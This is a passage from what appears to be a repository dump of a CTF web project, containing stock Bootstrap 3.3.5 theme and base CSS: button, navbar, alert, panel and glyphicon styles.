.btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n  background-color: #419641;\n  background-image: none;\n}\n.btn-info {\n  background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n  background-image:      -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2));\n  background-image:         linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #28a4c9;\n}\n.btn-info:hover,\n.btn-info:focus {\n  background-color: #2aabd2;\n  background-position: 0 -15px;\n}\n.btn-info:active,\n.btn-info.active {\n  background-color: #2aabd2;\n  border-color: #28a4c9;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n  background-color: #2aabd2;\n  background-image: none;\n}\n.btn-warning {\n  background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n  background-image:      -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316));\n  background-image:         linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #e38d13;\n}\n.btn-warning:hover,\n.btn-warning:focus {\n  background-color: #eb9316;\n  background-position: 0 -15px;\n}\n.btn-warning:active,\n.btn-warning.active {\n  background-color: #eb9316;\n  border-color: #e38d13;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n  background-color: #eb9316;\n  background-image: none;\n}\n.btn-danger {\n  background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n  background-image:      -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a));\n  background-image:         linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-color: #b92c28;\n}\n.btn-danger:hover,\n.btn-danger:focus {\n  background-color: #c12e2a;\n  background-position: 0 -15px;\n}\n.btn-danger:active,\n.btn-danger.active {\n  background-color: #c12e2a;\n  border-color: #b92c28;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n  background-color: #c12e2a;\n  background-image: none;\n}\n.thumbnail,\n.img-thumbnail {\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  background-color: #e8e8e8;\n  background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image:      -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8));\n  background-image:         linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n  background-repeat: repeat-x;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  background-color: #2e6da4;\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n  background-repeat: repeat-x;\n}\n.navbar-default {\n  background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%);\n  background-image:      -o-linear-gradient(top, #fff 0%, #f8f8f8 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8));\n  background-image:         linear-gradient(to bottom, #fff 0%, #f8f8f8 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075);\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .active > a {\n  background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n  background-image:      -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2));\n  background-image:         linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);\n  background-repeat: repeat-x;\n  -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075);\n}\n.navbar-brand,\n.navbar-nav > li > a {\n  text-shadow: 0 1px 0 rgba(255, 255, 255, .25);\n}\n.navbar-inverse {\n  background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%);\n  background-image:      -o-linear-gradient(top, #3c3c3c 0%, #222 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222));\n  background-image:         linear-gradient(to bottom, #3c3c3c 0%, #222 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n  background-repeat: repeat-x;\n  border-radius: 4px;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .active > a {\n  background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n  background-image:      -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f));\n  background-image:         linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);\n  background-repeat: repeat-x;\n  -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25);\n          box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25);\n}\n.navbar-inverse .navbar-brand,\n.navbar-inverse .navbar-nav > li > a {\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, .25);\n}\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  border-radius: 0;\n}\n@media (max-width: 767px) {\n  .navbar .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #fff;\n    background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n    background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n    background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));\n    background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n    background-repeat: repeat-x;\n  }\n}\n.alert {\n  text-shadow: 0 1px 0 rgba(255, 255, 255, .2);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05);\n}\n.alert-success {\n  background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n  background-image:      -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc));\n  background-image:         linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #b2dba1;\n}\n.alert-info {\n  background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n  background-image:      -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0));\n  background-image:         linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #9acfea;\n}\n.alert-warning {\n  background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n  background-image:      -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0));\n  background-image:         linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #f5e79e;\n}\n.alert-danger {\n  background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n  background-image:      -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3));\n  background-image:         linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #dca7a7;\n}\n.progress {\n  background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n  background-image:      -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5));\n  background-image:         linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar {\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #286090 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #286090 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-success {\n  background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n  background-image:      -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44));\n  background-image:         linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-info {\n  background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n  background-image:      -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5));\n  background-image:         linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-warning {\n  background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n  background-image:      -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f));\n  background-image:         linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-danger {\n  background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n  background-image:      -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c));\n  background-image:         linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);\n  background-repeat: repeat-x;\n}\n.progress-bar-striped {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.list-group {\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, .075);\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n  text-shadow: 0 -1px 0 #286090;\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #2b669a;\n}\n.list-group-item.active .badge,\n.list-group-item.active:hover .badge,\n.list-group-item.active:focus .badge {\n  text-shadow: none;\n}\n.panel {\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, .05);\n}\n.panel-default > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image:      -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8));\n  background-image:         linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-primary > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image:      -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4));\n  background-image:         linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-success > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n  background-image:      -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6));\n  background-image:         linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-info > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n  background-image:      -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3));\n  background-image:         linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-warning > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n  background-image:      -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc));\n  background-image:         linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);\n  background-repeat: repeat-x;\n}\n.panel-danger > .panel-heading {\n  background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n  background-image:      -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc));\n  background-image:         linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);\n  background-repeat: repeat-x;\n}\n.well {\n  background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n  background-image:      -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5));\n  background-image:         linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #dcdcdc;\n  -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1);\n}\n/*# sourceMappingURL=bootstrap-theme.css.map */\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/css/bootstrap.css",
    "content": "/*!\n * Bootstrap v3.3.5 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\nhtml {\n  font-family: sans-serif;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\nbody {\n  margin: 0;\n}\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n  display: block;\n}\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block;\n  vertical-align: baseline;\n}\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n[hidden],\ntemplate {\n  display: none;\n}\na {\n  background-color: transparent;\n}\na:active,\na:hover {\n  outline: 0;\n}\nabbr[title] {\n  border-bottom: 1px dotted;\n}\nb,\nstrong {\n  font-weight: bold;\n}\ndfn {\n  font-style: italic;\n}\nh1 {\n  margin: .67em 0;\n  font-size: 2em;\n}\nmark {\n  color: #000;\n  background: #ff0;\n}\nsmall {\n  font-size: 80%;\n}\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\nsup {\n  top: -.5em;\n}\nsub {\n  bottom: -.25em;\n}\nimg {\n  border: 0;\n}\nsvg:not(:root) {\n  overflow: hidden;\n}\nfigure {\n  margin: 1em 40px;\n}\nhr {\n  height: 0;\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n}\npre {\n  overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  margin: 0;\n  font: inherit;\n  color: inherit;\n}\nbutton {\n  overflow: visible;\n}\nbutton,\nselect {\n  text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button;\n  cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\ninput {\n  line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n  padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\nfieldset {\n  padding: .35em .625em .75em;\n  margin: 0 2px;\n  border: 1px solid #c0c0c0;\n}\nlegend {\n  padding: 0;\n  border: 0;\n}\ntextarea {\n  overflow: auto;\n}\noptgroup {\n  font-weight: bold;\n}\ntable {\n  border-spacing: 0;\n  border-collapse: collapse;\n}\ntd,\nth {\n  padding: 0;\n}\n/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n@media print {\n  *,\n  *:before,\n  *:after {\n    color: #000 !important;\n    text-shadow: none !important;\n    background: transparent !important;\n    -webkit-box-shadow: none !important;\n            box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  a[href]:after {\n    content: \" (\" attr(href) \")\";\n  }\n  abbr[title]:after {\n    content: \" (\" attr(title) \")\";\n  }\n  a[href^=\"#\"]:after,\n  a[href^=\"javascript:\"]:after {\n    content: \"\";\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  img {\n    max-width: 100% !important;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  .navbar {\n    display: none;\n  }\n  .btn > .caret,\n  .dropup > .btn > .caret {\n    border-top-color: #000 !important;\n  }\n  .label {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n@font-face {\n  font-family: 'Glyphicons Halflings';\n\n  src: url('../fonts/glyphicons-halflings-regular.eot');\n  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n  position: relative;\n  top: 1px;\n  display: inline-block;\n  font-family: 'Glyphicons Halflings';\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1;\n\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n  content: \"\\2a\";\n}\n.glyphicon-plus:before {\n  content: \"\\2b\";\n}\n.glyphicon-euro:before,\n.glyphicon-eur:before {\n  content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n  content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n  content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n  content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n  content: \"\\270f\";\n}\n.glyphicon-glass:before {\n  content: \"\\e001\";\n}\n.glyphicon-music:before {\n  content: \"\\e002\";\n}\n.glyphicon-search:before {\n  content: \"\\e003\";\n}\n.glyphicon-heart:before {\n  content: \"\\e005\";\n}\n.glyphicon-star:before {\n  content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n  content: \"\\e007\";\n}\n.glyphicon-user:before {\n  content: \"\\e008\";\n}\n.glyphicon-film:before {\n  content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n  content: \"\\e010\";\n}\n.glyphicon-th:before {\n  content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n  content: \"\\e012\";\n}\n.glyphicon-ok:before {\n  content: \"\\e013\";\n}\n.glyphicon-remove:before {\n  content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n  content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n  content: \"\\e016\";\n}\n.glyphicon-off:before {\n  content: \"\\e017\";\n}\n.glyphicon-signal:before {\n  content: \"\\e018\";\n}\n.glyphicon-cog:before {\n  content: \"\\e019\";\n}\n.glyphicon-trash:before {\n  content: \"\\e020\";\n}\n.glyphicon-home:before {\n  content: \"\\e021\";\n}\n.glyphicon-file:before {\n  content: \"\\e022\";\n}\n.glyphicon-time:before {\n  content: \"\\e023\";\n}\n.glyphicon-road:before {\n  content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n  content: \"\\e025\";\n}\n.glyphicon-download:before {\n  content: \"\\e026\";\n}\n.glyphicon-upload:before {\n  content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n  content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n  content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n  content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n  content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n  content: \"\\e032\";\n}\n.glyphicon-lock:before {\n  content: \"\\e033\";\n}\n.glyphicon-flag:before {\n  content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n  content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n  content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n  content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n  content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n  content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n  content: \"\\e040\";\n}\n.glyphicon-tag:before {\n  content: \"\\e041\";\n}\n.glyphicon-tags:before {\n  content: \"\\e042\";\n}\n.glyphicon-book:before {\n  content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n  content: 